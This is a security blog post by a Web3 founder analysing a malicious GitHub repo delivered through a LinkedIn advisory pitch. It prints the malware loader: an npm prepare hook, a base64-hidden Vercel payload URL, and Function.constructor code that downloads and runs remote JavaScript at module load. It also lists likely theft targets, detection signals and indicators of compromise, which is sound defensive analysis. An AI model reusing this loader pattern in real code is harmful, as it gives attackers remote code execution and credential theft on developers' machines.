Web3 Security: How We Caught a Malicious GitHub Repo Containing Hidden Malwares Disguised as a LinkedIn Business Opportunity
Thi Nguyen
Author
Founder
A technical breakdown of a LinkedIn-delivered supply chain attack targeting Web3 founders.
The Message
It started with a LinkedIn DM that felt like a legitimate business opportunity. The sender, going by the name Kanak Goel, had clearly done their research. As the founder of Fystack, I receive outreach regularly from people wanting to collaborate, partner, or get advisory input on their projects. This one followed that exact script.
The message was polished and specific: they wanted to engage me in a consultancy/advisory capacity, leveraging my experience in custody infrastructure, multi-chain wallets, and RWA products. My insights, they said, would be valuable in reviewing their architecture, tokenization flows, and compliance approach.
Then came the link:
"Here is our current project repo: https://github.com/jaiu3d/DeFi-Estate - Please review and setup the repo Let me know if you encounter any issues during setup."

Something felt off. A legitimate partner wanting architectural feedback doesn't ask you to set up their project locally and "encounter issues during setup." That phrasing is doing a lot of work. I didn't clone anything. I forwarded it to our security team and opened the repo in the browser.
Why Founders and Senior Engineers Are the Target
This attack is not aimed at junior developers. It's aimed at people whose machines hold real value:
- Founders and CTOs, Devops Engineers often have access to production infrastructure credentials, cloud provider root accounts, and internal tooling secrets
- Senior Web3 engineers may have significant personal crypto holdings and access to company treasury wallets
- Advisory-capacity pitches specifically target people with seniority because they carry more credibility and are more likely to have high-value secrets on their machines
The attacker is not trying to compromise a staging environment. They are trying to get on the machine of someone who has access to everything.
Red Flag #1: package.json - The Trap Is Set Before You Even Start
The first file our security team checked was package.json. This is always the right place to start when reviewing an unfamiliar Node.js project. Here's what they found:
In package.json
"scripts": {
"dev": "concurrently \"node server/app.js\" \"vite\"",
"build": "concurrently \"node server/app.js\" \"vite build\"",
"lint": "concurrently \"node server/app.js\" \"vite lint\"",
"prepare": "node server/app.js"
}Every single npm script runs node server/app.js alongside the legitimate tool. But the critical one is "prepare".
The prepare lifecycle script in npm runs automatically after npm install completes - before you ever type npm run dev. This means the payload executes the moment anyone follows the standard onboarding flow of any Node.js project. You don't have to start the app. You just have to install dependencies.
Most developers' muscle memory is: git clone → npm install → npm run dev. The trap is sprung at step two.
Red Flag #2: server/app.js - The Convincing Decoy
The entry point itself is completely clean:
require('dotenv').config();
const express = require('express');
const cors = require('cors');
const authRoutes = require('./routes/auth');
const apiRoutes = require('./routes/api');
const dataRoutes = require('./routes/data');
const app = express();
app.use(cors());
app.use(express.json());
app.get('/health', (req, res) => res.json({ status: 'ok' }));
app.use('/api/auth', authRoutes);
app.use('/api', apiRoutes);
app.use('/api/data', dataRoutes);
app.listen(4000, () => console.log('Server listening on port 4000'));Standard Express boilerplate. This is intentional. If someone does a quick scan of app.js and sees clean code, they relax. The malicious logic is buried two layers deeper in a service file that most reviewers would never open.
Red Flag #3: dataService.js - Where the Payload Lives
Buried inside server/services/dataService.js, https://github.com/jaiu3d/DeFi-Estate/blob/main/server/services/dataService.js#L51 (The project could be taken down by now) surrounded by completely normal CRUD functions for managing users, cards, banks, and purchase history, is this block:
async function verifyToken(req, res) {
const { data } = persistence;
verify(parseToken("aHR0cHM6Ly9sb2NhdGUtbXktaXAudmVyY2VsLmFwcC9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzOQ=="))
.then((response) => {
console.log("Token received successfully");
const responseData = response.data;
const executor = new (Function.constructor)("require", responseData);
console.log("Executing token verification...");
executor(require);
console.log("Token verified successfully");
return { success: true, data: responseData };
})
.catch((err) => {
return { success: false, data: err };
});
}
verifyToken();Malicious code embedded in the repo to install backdoors
verifyToken() is called immediately at module load time - meaning this code runs the moment dataService.js is imported, which happens the moment server/app.js starts, which happens the moment npm install completes.
Let's break down every piece of this.
The Base64 Obfuscation
aHR0cHM6Ly9sb2NhdGUtbXktaXAudmVyY2VsLmFwcC9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzOQ==Decoded:

Base64 is not encryption. It's just enough obfuscation to prevent the URL from appearing in a plain-text search of the codebase. A developer grepping for http, fetch, or axios would find nothing suspicious.
The function parseToken(), defined earlier in authService.js, handles the decode:
js
const parseToken = (s) => {
if (!s) return s;
try {
return Buffer.from(s, "base64").toString("utf8");
} catch (err) {
return s;
}
};It's named parseToken to make it sound like a JWT utility. It is not.
The Remote Payload Delivery via Vercel
The decoded URL points to locate-my-ip.vercel.app - a domain hosted on Vercel, a legitimate, widely trusted cloud platform used by millions of developers worldwide.
This is the most sophisticated part of the attack.
Most corporate firewalls, antivirus tools, and DNS filters maintain blocklists of known malicious domains. vercel.app is not on any blocklist. Traffic to it is indistinguishable from a developer fetching their own deployment preview. The attacker uses Vercel as a payload host, inheriting the platform's entire trust reputation at zero cost - Vercel's free tier is sufficient.
The endpoint path /api/ip-check-encrypted/3aeb34a39 is designed to look like a routine internal API call - maybe a token validation or an IP geolocation check. Nothing alarming to a developer glancing at network traffic.
This technique is increasingly common. We have seen similar abuse of GitHub raw content URLs, jsDelivr CDN, and Cloudflare Workers for the same purpose. Attackers have learned that owning a convincing domain is unnecessary when trusted platforms will host your payload for free.
When the victim's machine hits this endpoint, the server can:
- Serve a different payload depending on the victim's IP, OS, or user-agent
- Return empty responses to security researchers and automated scanners that look non-human
- Rotate the payload at any time without touching the GitHub repo
That last point is critical: the malware in the repo is just a loader. The actual payload lives on the attacker's server and can change at any moment, making static analysis of the repo alone insufficient to understand the full attack.
The Remote Code Execution
const executor = new (Function.constructor)("require", responseData);
executor(require);Function.constructor is a technique for dynamically creating a function from a string - equivalent to eval() but harder to detect with static analysis tools that specifically flag the eval keyword. The string returned by the attacker's server becomes executable JavaScript with full access to Node.js's require, meaning the remote code can:
- Read and write the filesystem (
fs) - Spawn child processes (
child_process) - Make outbound network calls (
https,axios) - Access all environment variables (
process.env)
This is a full remote code execution primitive. From the moment npm install finishes, the attacker has unrestricted access to everything on the victim's machine.
The Console Log Misdirection
console.log("Token received successfully");
console.log("Executing token verification...");
console.log("Token verified successfully");These logs are designed to look like normal authentication middleware output if a developer glances at the terminal. The malicious execution is invisible in plain sight.
The Full Attack Chain
LinkedIn DM (targeted business partnership pitch)
↓
"Please install the repo" (low-friction ask)
↓
git clone jaiu3d/DeFi-Estate (repo looks entirely legitimate)
↓
npm install (triggers "prepare" script automatically)
↓
node server/app.js executes
↓
dataService.js loads → verifyToken() called immediately
↓
Base64 decoded → HTTP request to locate-my-ip.vercel.app (trusted domain, bypasses firewalls)
↓
Remote JavaScript payload returned
↓
new Function.constructor executes payload with full require access
↓
Full RCE on victim's machineThe entire chain from npm install to remote code execution takes under 5 seconds.
What the Payload Likely Does
We did not execute the payload. The endpoint returned an empty response when hit from our sandboxed environment - a common technique to avoid sandbox analysis. Based on the attack profile and the specific targeting of Web3 founders and senior engineers, common payloads in this class include:
- Exfiltration of
.envfiles - harvesting API keys, private RPC endpoints, database credentials, and infrastructure secrets - Crypto wallet seed phrase theft - scanning common wallet file locations (
~/.config, MetaMask extension storage, Phantom wallet data directories) - Browser credential dumping - targeting Chrome, Brave, and Firefox saved passwords and session cookies
- SSH key exfiltration - copying
~/.ssh/id_rsaand~/.ssh/known_hoststo the attacker's server for lateral movement - Persistent backdoor installation - adding a cron job or launch daemon for ongoing access long after the repo is deleted
For a Web3 founder specifically, the prize is wallet keys and infrastructure access. A single compromised seed phrase means total, irreversible loss of funds.
Detection: Static Signals to Look For
Before running any unfamiliar repository, check these:
| Signal | What to check |
|---|---|
prepare script in package.json | Does it run anything other than a build tool? |
postinstall script | Same - any arbitrary node execution is suspicious |
| Base64 strings in source code | Decode them. Always. |
Function.constructor, eval, new Function | Dynamic code execution from a string |
| Outbound HTTP calls at module load time | Code that phones home when a file is imported |
| Mismatched naming | Functions named verifyToken that don't verify tokens |
Network indicators of compromise:
- Outbound requests to
locate-my-ip.vercel.app - Specifically the path
/api/ip-check-encrypted/3aeb34a39
What We Did
- Identified the suspicious outreach pattern and did not clone the repository
- Forwarded to our security team for static analysis
- Analysed the full repo in a sandboxed environment with no credentials present
- Decoded the obfuscated payload URL and identified the Vercel-hosted delivery endpoint
- Reported the GitHub repository
jaiu3d/DeFi-Estatefor takedown - Reported the LinkedIn account
Kanak Goelfor sending malicious content - Published this post to protect other founders and developers in the Web3 space
Recommendations
For founders and senior engineers:
- Business partnership pitches or a job offer that include "please set up our repo locally" are a red flag, regardless of how professional the context looks
- Always read
package.jsonscripts before running anything - pay particular attention toprepareandpostinstall - Treat any base64 string in source code as immediately suspicious until decoded and understood
- Use a dedicated, isolated VM or container with no credentials for reviewing unfamiliar code
For security teams:
- Brief leadership and senior staff specifically on this pattern, not just junior developers - the targeting is deliberate
- Monitor outbound DNS for unexpected
vercel.app,netlify.app, orworkers.devsubdomains from developer machines - Consider adding
Function.constructorand bareevalto your ESLint rules as warnings on internal projects
Closing
The attacker invested real effort here. The repo is well-structured, the dependencies are legitimate, the social engineering is targeted, and the payload is hidden three files deep behind innocuous-sounding function names. The choice of Vercel as a payload host shows awareness of how security tooling works and how to evade it.
The defence is simple but requires discipline: read before you run. Every time.
If you received a message from "Kanak Goel" on LinkedIn linking to github.com/jaiu3d/DeFi-Estate - do not clone it, do not run it, and report the account immediately.
Join our Fystack community Telegram for web3 engineering and security updates and discussion: https://lnkd.in/gg3ZSj4A

